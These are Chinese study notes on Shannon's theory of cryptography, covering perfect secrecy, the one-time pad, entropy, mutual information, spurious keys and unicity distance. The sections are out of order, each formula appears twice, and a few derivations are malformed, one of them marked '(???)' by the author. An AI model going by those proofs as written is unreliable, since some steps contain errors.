H(KC)=H(KC)H(C),H(PC)=H(PC)H(C)即证H(KC)H(PC)H(KPC)=H(PC)+H(KPC)=H(KC)+H(PKC)H(PKC)=0,H(KPC)>0H(KC)H(PC)H(K|C)=H(KC)-H(C),H(P|C)=H(PC)-H(C)\\ 即证H(KC)\ge H(PC)\\ H(KPC)=H(PC)+H(K|PC)=H(KC)+H(P|KC)\\ H(P|KC)=0,H(K|PC)>0\Rightarrow H(KC)\ge H(PC)

9.证明:密钥随机等概率分布且由8可知,H(C)H(K)H(C)\le H(K)
H(P)=H(PKC)+H(PK)+H(CPK)=H(CK)H(C)H(P)=H(P|KC)+H(PK)+H(CP|K)=H(C|K)\le H(C)(???)




上图中:
绿+紫=I(X;Y)I(X;Y);蓝+紫=I(Y;Z)I(Y;Z);青+紫=I(X;Z)I(X;Z)
绿=I(X;YZ)I(X;Y|Z);蓝=I(Y;ZX)I(Y;Z|X);青=I(X;ZY)I(X;Z|Y)
红=H(XYZ)H(X|YZ);橙=H(YXZ)H(Y|XZ);黄=H(ZXY)H(Z|XY)
紫=I(X;Y;Z)I(X;Y;Z)
红+青=H(XY)H(X|Y);橙+蓝=H(YX)H(Y|X)
红+绿=H(XZ)H(X|Z);黄+蓝=H(ZX)H(Z|X)
橙+绿=H(YZ)H(Y|Z);黄+青=H(ZY)H(Z|Y)
除黄所有=H(XY)H(XY);除红所有=H(YZ)H(YZ);除橙所有=H(XZ)H(XZ)
青+紫+蓝=I(XY;Z)I(XY;Z);绿+紫+蓝=I(XZ;Y)I(XZ;Y);绿+紫+青=I(YZ;X)I(YZ;X)
红+绿+橙=H(XYZ)H(XY|Z);红+青+黄=H(XZY)H(XZ|Y);橙+蓝+黄=H(YZX)H(YZ|X)

十、伪密钥

明文串每个分组使用同一个密钥加密得到密文串,考虑唯密文攻击方式,明文为某自然语言时,分析者可以排除某些密钥,但依然存在多个密钥使得明密文满足加解密函数时,其中只有一个密钥是正确的。称其他那些可能但不正确的密钥为伪密钥。(如移位密码对于不同的密钥有不同语义的单词明文出现)
(获得同一密钥加密的密文越长,存在伪密钥的可能性越小)

十一、自然语言的熵

有随机符号序列X=X1X2...XnX=X_1X_2...X_n,其中Xi{x1,x2,...,xm}X_i\in \{x_1,x_2,...,x_m\}
单符号信源:仅有一个信号的信源,信号的种类服从一个概率分布。
多符号信源:有多个符号的信源。
非平稳信源——相同字符在不同位置的统计规律也不同:

H(X1X2...Xn)=H(X1)+H(X2X1)+H(X3X2X1)+...+H(XnX1X2...Xn1)H(X_1X_2...X_n)=H(X_1)+H(X_2|X_1)+H(X_3|X_2X_1)+...+H(X_n|X_1X_2...X_{n-1})

若各维联合概率分布与时间起点无关,则称为离散平稳信源。有

H(XiXi+1...H(Xi+n1))=H(XjXj+1...Xj+n1)H(X_iX_{i+1}...H(X_{i+n-1}))=H(X_jX_{j+1}...X_{j+n-1})

无记忆信源:每个符号统计独立,其熵值等于每个符号的熵之和。
有记忆信源:每个符号的统计规律有一定的关联
极限熵:当序列长度趋近于无穷大时,其中每一个字符的平均熵值:

H=limn1nH(X1X2...Xn)=limn1nH(XnX1X2...Xn1)H_{\infty}=\lim_{n\rightarrow\infty}\frac{1}{n}H(X_1X_2...X_n)=\lim_{n\rightarrow\infty}\frac{1}{n}H(X_n|X_1X_2...X_{n-1})

马尔可夫信源:如果xi只与前面的m个信号(xi-1,…,xi-m)相关,则称为马尔可夫信源

H(XnX1X2...Xn1)=H(XnX1X2...Xnm)H(X_n|X_1X_2...X_{n-1})=H(X_n|X_1X_2...X_{n-m})

若英语中每个字母是随机使用的,则其熵H0=log226=4.7H_0=\log_226=4.7。但实际上根据每个英文字母在英文中出现的概率计算,英文字母的熵为4.19。随着统计字母组的长度增加,字母平均熵值呈下降趋势,当长度达到一定量时,熵值趋于稳定。

若定义PnP^n为n字母序列的概率分布构成的随机变量,则H(Pn)H(P^n)表示以n个字母为统计对象的熵值,其除以n表示以n个字母为统计对象时,单字母的平均熵
定义自然语言L的熵HL=limnH(Pn)nH_L=\lim_{n\rightarrow\infty}\frac{H(P^n)}{n}
统计得出大概范围为1.0~1.5,取1.25

自然语言冗余度

RL=1HLlog2P=H0HLH0R_L=1-\frac{H_L}{\log_2|P|}=\frac{H_0-H_L}{H_0}

其中H0HLH_0-H_L称为语言冗余
英语约为0.75

唯一解距离:使得伪密钥期望值为0所需要的密文分组数量,即在给定足够的计算时间下分析者能够唯一计算出密钥所需明文的平均数量。

H(KCn)=H(K)+H(Pn)H(Cn).H(Pn)=nHL(P)=n(1RL)log2P,H(Cn)nlog2CH(KCn)log2KnRLlog2PH(K|C^n)=H(K)+H(P^n)-H(C^n)\\. H(P^n)=nH_L(P)=n(1-R_L)\log_2|P|,H(C^n)\le n\log_2|C|\\ H(K|C^n)\ge\log_2|K|-nR_L\log_2|P|

H(KCn)=0H(K|C^n)=0

nlog2KRLlog2Pn\ge \frac{\log_2|K|}{R_L\log_2|P|}

唯一解距离n0=log2KRLlog2Pn_0=\frac{\log_2|K|}{R_L\log_2|P|}

十二、乘积密码体制

对于两个密码体制S1,S2S_1,S_2,其明文空间和密文空间相同(内嵌式密码体制),S1=(P,P,K1,E1,D1),S2=(P,P,K2,E2,D2)S_1=(P,P,K_1,E_1,D_1),S_2=(P,P,K_2,E_2,D_2),则S1S_1S2S_2的乘积密码体制定义为S1×S2=(P,P,K1×K2,E,D)S_1\times S_2=(P,P,K_1\times K_2,E,D)

e(k1,k2)(x)=ek2(ek1(x))d(k1,k2)(x)=dk1(dk2(x))e_{(k_1,k_2)}(x)=e_{k_2}(e_{k_1}(x))\\ d_{(k_1,k_2)}(x)=d_{k_1}(d_{k_2}(x))

(实际上就是将明文先用S1加密后再用S2加密。)

幂等密码体制

使用一个密码体制将明文加密两次即为S2,加密n次则为Sn
若S2=S则称该密码体制幂等,与自身做乘积无法提高算法安全性。
古典密码中的移位、代换、乘法、仿射、置换、维吉尼亚、希尔密码均为幂等。
若S1和S2为幂等的且为可交换的,则S1×S2S_1\times S_2也是幂等的
如果密码体制不是幂等的,那么可以通过与自身作多次乘积运算(迭代)来提高安全性(注意:这里的相等定义要注意,不是说选择一个密钥,将一个明文加密两次和加密一次得到的密文相等
一种构造简单非幂等密码体制的方法是对两个不同的简单密码体制做乘积(必须保证两个密码体制不是可交换的)

证明两个内嵌式密码体制相等的方法:首先二者的明文空间相同,其次存在一个双射函数使两者密钥空间中的密钥一一对应相等。(两个密钥空间相互包含也可证明两密钥空间相等)[K相等且同分布]

Chapter 2 Shannon理论

评价密码体制的安全性:
- 计算安全性:从计算上衡量密码体制的安全性
- 可证明安全性:通常使用规约法证明方案安全性
- 无条件安全:提供无限计算资源也无法攻破
上面三种安全性依次递增。

一. 密文概率

在密文中出现某一个字符的概率,与明文分布和密钥分布决定,即P(Y=y)P(Y=y)可以由P(X=x),P(K=k)P(X=x),P(K=k)推导

推广公式为:(全概率公式应用)

P(Y=y)=k:yC(k)P(K=k)P(X=dk(y))P(Y=y)=\sum_{k:y\in C(k)}P(K=k)P(X=d_k(y))

若密钥K随机等概率获取,则密文C不一定随机等概率。因为明文出现的概率未知。
若密文C等概率获取,则明文P不一定随机等概率。如下例:

a b c d e
k1 e d c b a
k2 a b c d e

Pr[a]=0.1,Pr[b]=0.15,Pr[c]=0.2,Pr[d]=0.25,Pr[e]=0.3Pr[k1]=Pr[k2]=0.5Pr[a]=0.1, Pr[b]=0.15, Pr[c]=0.2, Pr[d]=0.25, Pr[e]=0.3\\ Pr[k1]=Pr[k2]=0.5

密文等概率,但明文并不随机等概率

若明文P随机等概率获取,则密文C不一定随机等概率。证明如下:
如果P=C|P|=|C|则一定等概率,否则不一定。
证明:
首先证明当P=C|P|=|C|时,密文一定随机等概率
对于任意一密文字符cCc\in C,设密钥空间KK中密钥kik_i的概率为tit_i,设ei(xj)=yke_i(x_{j})=y_k,所有明文字符取值概率均为pp。由于对于任意kiKk_i\in KCP|C|\rightarrow |P|是一个双射,因此给定k,yC,xP,ek(x)=yk,\forall y\in C,\exist x\in P,e_k(x)=y,即yC,kK,xP,ek(x)=y\forall y\in C,\forall k\in K,\exist x\in P,e_k(x)=y。故

Pr[y=yk]=Kkixj=Kkip=pPr[y=y_k]=\sum_K k_ix_{j}=\sum_K k_ip=p

故所有密文字符取值概率相等。
PC|P|\ne |C|时,举出以下反例:

a b c
k1 1 2 5
k2 4 5 6

理解的关键在于此时CPC\rightarrow P不再是双射,对于一个密文可能不存在k能使其解密为任何一个明文,上面的算式就不成立了。

二. 完善保密性

一个密码具有完善保密性的必要条件:分析者无法通过观察密文得到明文。

单表代换密码不具有完善保密性,原因是明文和密文具有相同的概率分布特性。

定义:一个密码体制具有完全保密性,如果对于任意xPx\in PyCy \in C,都有Pr[xy]=Pr[x]Pr[x|y]=Pr[x],即密文字符随机变量与明文字符随机变量独立(或说明文x的后验概率等于其先验概率)

后验概率通过贝叶斯公式计算:

P(xy)=P(xy)P(y)=P(xy)xiXP(xi)P(yxi)=P(x)P(yx)xiXP(xi)P(yxi)=P(x){k:x=dk(y)}P(K=k)k:yC(k)P(K=k)P(X=dk(y))P(x|y)=\frac{P(xy)}{P(y)} =\frac{P(xy)}{\sum_{x_i\in X} P(x_i)P(y|x_i)} =\frac{P(x)P(y|x)}{\sum_{x_i\in X} P(x_i)P(y|x_i)} =\frac{P(x)\sum_{\{k:x=d_k(y)\}}P(K=k)}{\sum_{k:y\in C(k)} P(K=k)P(X=d_k(y))}

解释一下上式:
通过贝叶斯公式易得第三个等号后的式子,对于最后一个式子的变形:首先看分子,它表示明文字符为x且密文字符为y的概率。满足这种条件的密钥可能不止一个,因此可以将P(yx)P(y|x)改写为满足这种条件的密钥的总概率,即{k:x=dk(y)}P(K=k)\sum_{\{k:x=d_k(y)\}}P(K=k)。对于分母,它表示密文字符y的出现概率,对于每一个密钥,其都对应一个明文字符,使得该明文字符加密后成为该密钥字符y。因此可以将分母改写为密钥概率乘以对应明文出现概率。

定义的含义:

  1. 明文x和对应密文y具有统计独立关系
  2. 明密文之间的互信息I(x,y)=0I(x,y)=0(类似于相关系数)
  3. 攻击者分析y的统计规律无法推导出x

例:对于下面的加密系统,判断是否完善保密。

a b c d
k1 1 2 3 4
k2 2 3 4 5
k3 3 4 5 1
k4 4 5 1 2
k5 5 1 2 3

其中Pr[a]=12,Pr[b]=14,Pr[c]=Pr[d]=18Pr[a]=\frac{1}{2},Pr[b]=\frac{1}{4},Pr[c]=Pr[d]=\frac{1}{8},密钥等概率。

解: 计算略,完善保密。因为每一个明文被加密为任何一个密文的概率相等,因此对于每一个密文,其对应的明文为x的概率即为明文出现的概率。

三、完善保密性相关定理

定理1:假设移位密码的26个密钥以相同概率随机使用,对于任意的明文概率分布,移位密码都具有完善保密性。

证明:

要证明完善保密性,即证明对于任意xPx\in PyCy \in C,都有Pr[xy]=Pr[x]Pr[x|y]=Pr[x],其等价于对于任意xPx\in PyCy \in C,都有Pr[yx]=Pr[y]Pr[y|x]=Pr[y]。由于明文概率未知,因此Pr[x]Pr[x]无法确定,故证明其等价命题。

由全概率公式:
Pr[y]=kZ26Pr[K=k]Pr[X=dk(y)=(yk)mod26]=126kZ26Pr[X=(yk)mod26]=126Pr[y]=\sum_{k\in Z_{26}}Pr[K=k]Pr[X=d_k(y)=(y-k)\mod 26]\\ =\frac{1}{26}\sum_{k\in Z_{26}}Pr[X=(y-k)\mod 26]\\ =\frac{1}{26}

Pr[yx]=Pr[K=(yx)mod26]=126Pr[y|x]=Pr[K=(y-x)\mod 26]=\frac{1}{26}

证毕。

定理2:假设密码体制(P,C,K,E,D)(P,C,K,E,D)满足K=C=P|K|=|C|=|P|KCP|K|\ge |C|\ge |P|是完全保密的必要条件)。这个密码体制是完善保密的,当且仅当每个密钥被使用的概率相等,均为1K\frac{1}{|K|},且对于任意xP,yCx\in P,y\in C,均存在唯一密钥kk,使得ek(x)=ye_k(x)=y

证明:

充分性:见定理1的证明

必要性:该密码体制具有完全保密性,故Pr[yx]=Pr[y]Pr[y|x]=Pr[y],这表示对于任意的xP,yCx\in P,y\in C均存在kKk\in K使得ek(x)=ye_k(x)=y(否则Pr[yx]=0Pr[y|x]=0,与Pr[y]>0Pr[y]>0矛盾)
又如果存在有两个k1,k2Kk_1,k_2\in K,均有ek(x)=ye_k(x)=y,由于|C|=|K|,则就存在有yCy^*\in C,不存在kKk\in K,使得ek(x)=ye_k(x)=y^*,与Pr[y]>0Pr[y]>0矛盾
故对于一个确定的xPx\in P,能够建立双射Q:KCQ:K\rightarrow CQ(k)=yQ(k)=y表示k(x)=yk(x)=y

k不变时,x与y对应证法
由于Pr[yx]=Pr[y]Pr[y|x]=Pr[y],对于确定的xxPr[yx]=Pr[kK:ek(x)=y]=Pr[y]Pr[y|x]=Pr[k\in K:e_k(x)=y]=Pr[y]。如果改变x的值,可以得到:对于确定的k,有Pr[k]=Pr[y1]=Pr[y2]=...=Pr[yn]Pr[k]=Pr[y_1]=Pr[y_2]=...=Pr[y_n],对于每个kk均是如此,故密钥取值概率相等,均为1K\frac{1}{|K|}

y不变时,x与k对应证法
由贝叶斯公式:

Pr[xiy]Pr[y]=Pr[yxi]Pr[xi]Pr[y]=Pr[yxi]=Pr[kK:ek(xi)=y]Pr[x_i|y]Pr[y]=Pr[y|x_i]Pr[x_i]\Rightarrow Pr[y]=Pr[y|x_i]=Pr[k\in K:e_k(x_i)=y]

遍历x时,也能够遍历k。故所有密钥概率均为Pr[y]Pr[y]

四、一次一密密码体制

定义:
P=C=K=(Z2)nP=C=K=(Z_2)^n
ek(x)=(x1+k1,x2+k2,...,xn+kn)mod2e_k(x)=(x_1+k_1,x_2+k_2,...,x_n+k_n)\mod 2
dk(x)=(y1+k1,y2+k2,...,yn+kn)mod2d_k(x)=(y_1+k_1,y_2+k_2,...,y_n+k_n)\mod 2
可根据定理2证明其完善保密性。

五、完善保密性判定定理

假设密钥只使用一次

定理1:对密码体制(P,C,K,E,D)(P,C,K,E,D),若对于任意xP,yCx\in P,y\in C,有k:x=dk(y)Pr[k]=1P\sum_{k:x=d_k(y)}Pr[k]=\frac{1}{|P|},则该密码完善保密。

证明:

Pr[yx]=k:y=ek(x)Pr[k]=1PPr[y|x]=\sum_{k:y=e_k(x)}Pr[k]=\frac{1}{|P|}
由全概率公式:Pr[y]=k:y=ek(x)Pr[x]Pr[yx]=1PPr[y]=\sum_{k:y=e_k(x)}Pr[x]Pr[y|x]=\frac{1}{|P|}

深层理解:定理1与定理4的区别是:定理1的条件是充分条件,但无需满足P=C|P|=|C|的条件。如果PC|P|\ne |C|,上述结论仍可能成立,唯一的区别是Pr[yx]=Pr[y]1PPr[y|x]=Pr[y]\ne \frac{1}{|P|}。由密码体系定义可知,对于任何密码系统,均有PC|P|\le|C|。对于给定的xPx\in P,由全概率公式可知:Pr[x]=yiCPr[yi]Pr[xyi]=yiCPr[y]Pr[k:ek(x)=yi]Pr[x]=\sum_{y_i\in C} Pr[y_i]Pr[x|y_i]=\sum_{y_i\in C}Pr[y]Pr[k:e_k(x)=y_i],易得此时Pr[yi]Pr[y_i]不可能恒为1P\frac{1}{|P|},否则CPr[yi]>1\sum_C Pr[y_i]>1,这显然不可能。


定理2:对于密码体制(P,C,K,E,D)(P,C,K,E,D)KK等概率选取,若对于任意的xP,yC,k:x=dk(y)=KPx\in P,y\in C,|{k:x=d_k(y)}|=\frac{|K|}{|P|},则该密码体制完善保密。

证明:

Pr[yx]=Pr[k:x=dk(y)]=1KKP=1PPr[y|x]=\sum Pr[k:x=d_k(y)]=\frac{1}{|K|}\cdot \frac{|K|}{|P|}=\frac{1}{|P|}
Pr[y]=xiPPr[xi]Pr[yxi]=1PPr[y]=\sum_{x_i\in P} Pr[x_i]Pr[y|x_i]=\frac{1}{|P|}

深层理解:定理2与定理3的区别于定义1和定理4的区别类似,没有限定P=C|P|=|C|。如果二者不等,则存在有密码体制满足k:x=dk(y)KP|{k:x=d_k(y)}|\ne\frac{|K|}{|P|},但也满足上述结论。当其等于KC\frac{|K|}{|C|}时易证其也成立。


定理3:对于密码体制(P,C,K,E,D)(P,C,K,E,D)P=C|P|=|C|KK等概率选取,当且仅当对于任意的xP,yC,k:x=dk(y)=KPx\in P,y\in C,|{k:x=d_k(y)}|=\frac{|K|}{|P|},该密码体制完善保密。

证明:充分性已证明。
必要性:若该密码体制具有完全保密性,则Pr[y]=Pr[yx]Pr[y]=Pr[y|x],由于KK等概率选取,因此对于任意xP,yCx\in P,y\in Ck:x=dk(y)|{k:x=d_k(y)}|均相等。由于此时P=C|P|=|C|,因此对于给定的xx,可将kk分为数量相等(均为k:x=dk(yi)|{k:x=d_k(y_i)}|)的C|C|份,每一份中的kk加密xx均可得到相同的yy,不同份中的kk加密xx得到不同的yy。因此显然有k:x=dk(y)=KP|{k:x=d_k(y)}|=\frac{|K|}{|P|}


定理4:对于密码体制(P,C,K,E,D)(P,C,K,E,D)P=C|P|=|C|,且明文P|P|等概率选取。当且仅当对于任意xP,yCx\in P,y\in C,有k:x=dk(y)Pr[k]=1P\sum_{k:x=d_k(y)}Pr[k]=\frac{1}{|P|},该密码体制完善保密。

证明:充分性已证明。
必要性:Pr[y]=Pr[ki]Pr[xj]=1PPr[ki]=1PPr[y]=\sum Pr[k_i]Pr[x_j]=\frac{1}{|P|}\sum Pr[k_i]=\frac{1}{|P|}

深层理解:这里需要两个条件,一个是明文空间和密文空间元素个数相等,另一个是明文等概率选取。如果明文不等概率会怎样呢?此时必要性就无法成立,那能否举一个不满足此充分条件又能够使结论成立的条件呢?。设第一个条件仍然成立,xix_i的出现的概率为Pr[xi]Pr[x_i],此时证明Pr[x]=Pr[xy]Pr[x]=Pr[x|y]。对于给定的xPx^*\in PPr[x]Pr[x^*]已知,设为PP,那么Pr[xy]=Pr[xy]Pr[y]=Pr[k:x=dk(y)]Pr[x]Pr[y]=PPr[x^*|y]=\frac{Pr[x^*y]}{Pr[y]}=\frac{\sum Pr[k:x^*=d_k(y)]Pr[x^*]}{Pr[y]}=P。要使得Pr[xy]=Pr[x]Pr[x^*|y]=Pr[x^*],则有Pr[y]=Pr[k:x=dk(y)]Pr[y]=\sum Pr[k:x^*=d_k(y)],即对于任意密文字符yy,其出现的概率均等于能够将yy解密为xx^*的全部密钥的出现概率。

六、 自信息量

  • 信息量
    • 对信息的直观认识
      • 信道上传送随机变化的值
      • 时间发生概率与信息量的关系
      • 消息间的依赖关系与相互之间的信息量
      • 信息消除不确定性
      • 信息可加
  • 自信息量
    单符号离散信源的数学模型可用一位随机变量XX的概率空间描述,即每个xXx\in X均对应一个概率p(xi)p(x_i),如果信源发出消息xix_i的概率为p(xi)p(x_i),则其能提供的自信息量(自信息)为:(式中的底数可以换,这里由于使用比特作为信息媒介,因此使用2作为底数。如果使用10进制数字,则就应使用10作为底数,即底数由媒介的可能取值数决定)

I(xi)=log21p(xi)=log2p(xi)I(x_i)=\log_2\frac{1}{p(x_i)}=-\log_2p(x_i)

理解:信源发出信号前信宿对消息的不确定,信源发出信息后提供给信宿的信息量,即消除不确定性所需要的信息量。如可能的情况一共8种,那么自然需要3个比特才能表示所有状态,能够确定这个信息属于什么状态。

  • I(xi)I(x_i)的性质:

    • 非负
    • P(xi)=1P(x_i)=1I(xi)=0I(x_i)=0
    • P(xi)=0P(x_i)=0I(xi)=+I(x_i)=+\infty
    • p(i)p(i)的单调递减函数
  • 联合自信息量

    • 涉及多个随机变量XiX_i,其中每一个联合事件均有一个概率
    • I(x1x2...xn)=log2p(x1x2...xn)I(x_1x_2...x_n)=-\log_2p(x_1x_2...x_n)
    • 当这些变量均独立时,I(x1x2...xn)=I(x1)+I(x2)+...+I(xn)I(x_1x_2...x_n)=I(x_1)+I(x_2)+...+I(x_n)
  • 条件自信息量

    • 类比条件概率
    • 后验概率:I(xiyj)=log2p(xiyj)I(x_i|y_j)=-\log_2p(x_i|y_j)
    • 信道转移概率:I(yjxi)=log2p(yjxi)I(y_j|x_i)=-\log_2p(y_j|x_i)
    • I(xiyj)=log2p(yjxi)p(xi)=I(xi)+I(yjxi)=I(yj)+I(xiyj)I(x_iy_j)=-\log_2p(y_j|x_i)p(x_i)=I(x_i)+I(y_j|x_i)=I(y_j)+I(x_i|y_j)
  • 互信息量

    • I(xi;yj)=I(xi)I(xiyj)=log2p(xiyj)p(xi)I(x_i;y_j)=I(x_i)-I(x_i|y_j)=\log_2\frac{p(x_i|y_j)}{p(x_i)},即先验不确定度-后验不确定度

直观理解:

自信息量:信息本身发生的概率决定本信息的可识别度。信息发生的概率越高,可识别度越低,只需要很少的比特位就可以将其完全表示,提供给我们的信息也越少;信息发生的概率越低,可识别度越高,需要更多的比特位来表示,提供给我们的信息也越多。我们可以想象一下,如果一个事件一定发生,那这个时间对于我们没有价值,因为我们不需要任何信息就知道它一定发生;如果一个事件很难发生,比如中彩票,只要发生,就能提供具有很强识别度的信息,中彩票之后,你可以买车,买很多东西都可以,但是不中的话,也就只是不中而已,生活照常进行没有任何影响。我们可以粗略地将每一个比特位看成概率的划分,如对于2位比特位,其有00,01,10,11四种状态,可以将整个概率空间1分为4个部分,每个部分代表25%概率。假设有4个事件,概率均为25%,且任意两个事件不可能同时发生(想象成箱子中有4个球,随机拿一个球)。此时,如果我们只给出一个比特位,如0,它能确定我们拿出来的是什么球吗?显然不能,因为一个比特位只有两种状态:0和1。如果将2位比特位与摸出的球的编号一一对应,那么一位比特位就能够代表摸出某2个球,但不可能是剩下2个球。我们虽然不能通过1个比特位确定到底拿的是什么球,但至少缩小了范围,当然这还不够。如果我们能够知道两个比特位,那么我们就能够最终确定我们拿出来的是什么球。

注意!每一个比特位对于概率的分配都是均分,不存在对于一个比特位中0和1表示不同的概率。

我们考虑一种最为普通的情况:事件A发生的概率为90%,那么我们只需要1个比特位就能够确认事件A是否发生。如果将0代表为A发生,那么1就代表A一定不发生吗?那可未必。A发生的概率是90%,比特位为0的概率为50%,因此如果比特位为1,那么A发生的概率还有80%(条件概率),但是此时A是否发生就是不确定的了。不过我们并不需要考虑1的情况,因为0就足以确认A发生。如果我们要表示A不发生的概率,那么就至少需要4个比特位,4个比特位共有16种状态,其中至多可以有一个状态能被完全包含在A不发生的概率之中,这也就确定了A不发生。

联合自信息量:理解了自信息量之后,联合自信息量也就不难理解。不过是将一个随机变量变成了多个而已。

条件自信息量:需要分先验和后验进行理解。先验的条件自信息量以先验概率为基础计算,又称信道转移概率。举一个通俗的例子:假如在某地冬天,一天气温低于0度的概率为30%,在低于0度的情况下,附近一条河流结冰的概率为80%。如果我们抛开气温不管只看河流是否结冰,此时河流结冰的概率应为24%,通过河流结冰,我们能够获得较多信息,比如今天大概率很冷。但如果我们已经知道了今天温度低于0度,再看到河流结冰时,能够获取的信息就不多了,因为此时河流结冰几乎是自然而然发生的事情,不需要任何怀疑。相反地,后验的条件自信息量以后验概率为基础计算,与先验概率的理解类似。还是上面的例子,今天河流结冰了,那么如果今天温度高于0度,那就很值得研究了,因为这种情况理论上是不可能发生的。

互信息量:表现两个随机变量之间的联系。为随机变量X的先验不确定度-后验不确定度。如果互信息量大于0,说明Y的发生减少了X提供的信息量。如果小于0,说明Y的发生增加了X提供的信息量。因为X和Y如果有联系,那么Y的发生可能会改变X发生的概率。

七、熵

定义:随机变量X的信息熵定义为自信息量I(x)I(x)的数学期望,简称熵。

H(X)=E[I(x)]=xXp(x)(log2p(x))H(X)=E[I(x)]=-\sum_{x\in X}p(x)(\log_2p(x))

理解:

  • 熵非负
  • 信源发出前,表示信源的平均不确定度
  • 信源发出后,表示信源提供的平均信息量
  • 是一个统计量,反映了随机变量XX的随机性

定理2.6

假设随机变量XX的概率分布为p1,p2,...,pnp_1,p_2,...,p_n,则H(X)log2nH(X)\le \log_2n,当且仅当pi=1np_i=\frac{1}{n}时等式成立

证明:
使用琴生(Jensen)不等式:在上凸函数中,有i=1naif(xi)f(i=1naixi),i=1nai=1,ai>0\sum_{i=1}^na_if(x_i)\le f(\sum_{i=1}^na_ix_i),\sum_{i=1}^na_i=1,a_i>0,当且仅当x1=...=xnx_1=...=x_n时等号成立
由上述不等式可知

H(X)=i=1npi(log21pi)log2(i=1n(pi1pi))=log2nH(X)=\sum_{i=1}^np_i(\log_2\frac{1}{p_i})\le \log_2(\sum_{i=1}^n(p_i\cdot\frac{1}{p_i}))=\log_2n

当且仅当pi=1np_i=\frac{1}{n}时等式成立,证毕。

  • 联合熵:两个随机变量的熵。性质:

max[H(X1),...,H(Xn)]H(X1X2...Xn)H(X1)+...+H(Xn)\max[H(X_1),...,H(X_n)]\le H(X_1X_2...X_n)\le H(X_1)+...+H(X_n)

定理2.7

H(XY)H(X)+H(Y)H(XY)\le H(X)+H(Y),当且仅当XXYY统计独立时等号成立

证明:设Pr[X=xi,Y=yj]=rij,Pr[X=xi]=pi,Pr[Y=yj]=qjPr[X=x_i,Y=y_j]=r_{ij},Pr[X=x_i]=p_i,Pr[Y=y_j]=q_j
H(XY)=i=1mj=1nrijlog21rijH(XY)=\sum_{i=1}^m\sum_{j=1}^nr_{ij}\log_2\frac{1}{r_{ij}}
H(X)=i=1mpilog21pi=i=1mj=1nrijlog21piH(X)=\sum_{i=1}^mp_i\log_2\frac{1}{p_i}=\sum_{i=1}^m\sum_{j=1}^nr_{ij}\log_2\frac{1}{p_i}
H(Y)=j=1nqjlog21qj=j=1ni=1nrijlog21qjH(Y)=\sum_{j=1}^nq_j\log_2\frac{1}{q_j}=\sum_{j=1}^n\sum_{i=1}^nr_{ij}\log_2\frac{1}{q_j}
H(XY)H(X)H(Y)=i=1mj=1nrijlog2piqjrijlog2(i=1mj=1npiqj)=0H(XY)-H(X)-H(Y)=\sum_{i=1}^m\sum_{j=1}^nr_{ij}\log_2\frac{p_iq_j}{r_{ij}}\le \log_2(\sum_{i=1}^m\sum_{j=1}^np_iq_j)=0

  • 条件熵:H(XY)=xXyYp(xy)log2p(xy)H(X|Y)=-\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2p(x|y)
    • 对于Y的任意取值y得到一个X上的条件概率分布,相应的随机变量即为XyX|y,可知

H(Xy)=xXp(xy)log2p(xy)H(X|y)=-\sum_{x\in X}p(x|y)\log_2p(x|y)

- 上式对y加权平均即得到$H(X|Y)$的值

定理2.8

H(XY)=H(Y)+H(XY)H(XY)=H(Y)+H(X|Y)

证明:两边分别展开易证

推论2.9

H(XY)H(X)H(X|Y)\le H(X),当且仅当XXYY统计独立时等号成立。

证明:

H(XY)=xXyYp(xy)log2p(xy)=xXyYp(xy)log2p(y)p(xy)=xXyYp(x)p(yx)log2p(y)p(xy)H(X)=xXp(x)log21p(x)H(X|Y)=-\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2p(x|y)=\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2\frac{p(y)}{p(xy)}=\sum_{x\in X}\sum_{y\in Y}p(x)p(y|x)\log_2\frac{p(y)}{p(xy)}\\ H(X)=\sum_{x\in X}p(x)\log_2\frac{1}{p(x)}

即证

xXyYp(yx)log2p(y)p(xy)xXlog21p(x)\sum_{x\in X}\sum_{y\in Y}p(y|x)\log_2\frac{p(y)}{p(xy)}\le \sum_{x\in X}\log_2\frac{1}{p(x)}

即证

xXyYp(yx)log2p(x)p(y)p(xy)0\sum_{x\in X}\sum_{y\in Y}p(y|x)\log_2\frac{p(x)p(y)}{p(xy)}\le 0

即证

xXyYp(yx)log2p(y)p(yx)0xXyYp(yx)log2p(y)p(yx)xXlog2(yYp(y))=xXlog21=0\sum_{x\in X}\sum_{y\in Y}p(y|x)\log_2\frac{p(y)}{p(y|x)}\le 0\\ \sum_{x\in X}\sum_{y\in Y}p(y|x)\log_2\frac{p(y)}{p(y|x)}\le \sum_{x\in X}\log_2(\sum_{y\in Y}p(y))=\sum_{x\in X}\log_21=0

证毕

八、平均互信息量

I(X;Y)I(X;Y)定义为互信息量在联合概率空间上的数学期望

I(X;Y)=E[I(x;y)]=xXyYp(xy)I(x;y)=H(X)H(XY)=H(Y)H(YX)=H(X)+H(Y)H(XY)I(X;Y)=E[I(x;y)]=\sum_{x\in X}\sum_{y\in Y}p(xy)I(x;y)\\ =H(X)-H(X|Y)=H(Y)-H(Y|X)=H(X)+H(Y)-H(XY)

xXyYp(xy)I(x;y)=xXyYp(xy)log2p(xy)p(x)p(y)H(X)=xXp(x)log21p(x)=xXyYp(xy)log21p(x)H(Y)=yYp(y)log21p(y)=xXyYp(xy)log21p(y)H(XY)=xXyYp(xy)log21p(xy)\sum_{x\in X}\sum_{y\in Y}p(xy)I(x;y)=\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2\frac{p(xy)}{p(x)p(y)}\\ H(X)=\sum_{x\in X}p(x)\log_2\frac{1}{p(x)}=\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2\frac{1}{p(x)}\\ H(Y)=\sum_{y\in Y}p(y)\log_2\frac{1}{p(y)}=\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2\frac{1}{p(y)}\\ H(XY)=\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2\frac{1}{p(xy)}

性质:

  • 非负
  • 对称:I(X;Y)=I(Y;X)min{H(X),H(Y)}I(X;Y)=I(Y;X)\le \min\{H(X),H(Y)\}
  • 当X,Y概率独立时,I(X;Y)=0I(X;Y)=0
  • 当X,Y存在有一一对应关系时,I(X;Y)=H(X)=H(Y)I(X;Y)=H(X)=H(Y)

平均条件互信息量:I(X;YZ)=I(X;YZ)I(X;Z)I(X;Y|Z)=I(X;YZ)-I(X;Z)

Chapter 1 古典密码学

一、概念

  1. 密码学是提供安全服务的关键理论和技术,包含:数据机密性、数据完整性、鉴别、不可否认等。
